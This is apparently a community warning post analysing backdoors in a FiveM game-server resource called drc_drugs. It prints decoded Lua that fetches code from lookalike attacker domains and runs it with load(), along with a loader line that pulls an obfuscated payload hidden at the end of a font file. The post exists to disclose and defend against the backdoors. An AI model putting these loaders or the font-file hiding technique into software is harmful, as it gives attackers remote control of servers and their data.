ow2s

DO NOT USE! BACKDOOR IN 4 FILES!! Backdoored Files: server/sv_Mushrooms.lua html/fonts/Helvetica.ttf server/sv_FLowershop.lua server/sv_Heroin.lua ai-generated but it is CORRECT! BACKDOOR ANALYSIS — drc_drugs FiveM Resource This resource contains REMOTE CODE EXECUTION backdoors in 3 files. On server start, it silently downloads and executes arbitrary Lua code from attacker-controlled domains. --- Backdoor #1 — server/sv_FLowershop.lua and server/sv_Heroin.lua Both files contain identical "Encrypt By Yasu" obfuscation (starting at line 93 and 101 respectively). The obfuscation uses XOR encryption with layered variable-name swapping to hide the payload. After decryption, the executed code is: PerformHttpRequest('https://cfcloudflare.com/q9Dzt', function(e, d) pcall(function() assert(load(d))() end) end) - Domain: cfcloudflare.com — a lookalike of cloudflare.com, NOT the real Cloudflare - Path: /q9Dzt - Behavior: Fetches remote code and passes it directly to load()() — full arbitrary Lua execution with server-level permissions (can access database, add/remove items, ban players, run OS commands, steal data, etc.) The obfuscation also corrupts _ENV (restricts it to only string, table, math, pairs, load, print), which breaks the global source variable in standard RegisterServerEvent handlers — explaining why certain features in this resource don't work without fixes. --- Backdoor #2 — server/sv_Mushrooms.lua + html/fonts/Helvetica.ttf A more sophisticated approach using steganography. The file html/fonts/Helvetica.ttf appears to be a legitimate font file (88244 bytes, first 87565 bytes are real TTF data). The last 679 bytes contain obfuscated Lua code — each character padded with .+ markers. Lines 61-62 of sv_Mushrooms.lua extract and execute this hidden payload: local loadFonts = _G[string.char(108, 111, 97, 100)] -- _G["load"] loadFonts(LoadResourceFile(GetCurrentResourceName(), '/html/fonts/Helvetica.ttf'):sub(87565):gsub('%.%+', ''))() After removing the .+ padding, the hidden code is: local _v = PerformHttpRequestInternalEx{url='https://cfx-backdoorblocker.com/q9Dzt', method='GET'} AddEventHandler('__cfx_internal:httpResponse', function(_t, _s, _b) if _v == _t then pcall(function() assert(load(_b))() end) end end) - Domain: cfx-backdoorblocker.com — ironic name, pretending to be a "backdoor blocker" - Uses: PerformHttpRequestInternalEx (FiveM internal native, harder to detect than PerformHttpRequest) - Same payload logic: downloads code → load() → execute ----- Technical note on the obfuscation The "Encrypt By Yasu" obfuscator: - Replaces _ENV with a restricted table to hide global access - Uses XOR-based string encryption with a 256-byte key - Employs variable-name obfuscation where 128-character random variable names store each other's names as strings - After multiple XOR layers, a subtraction-based loop reconstructs the payload using string.char(byte - key_byte) - The final check var == "Encrypt By Yasu" gates the load() call — this is the signature that identifies this specific obfuscator family CLEANED AND WORKING FILE ATTACHED ban this fucking dude.... u can switch debug mode to true or false in shared/sh_config.lua (line 5) drc_drugs.rar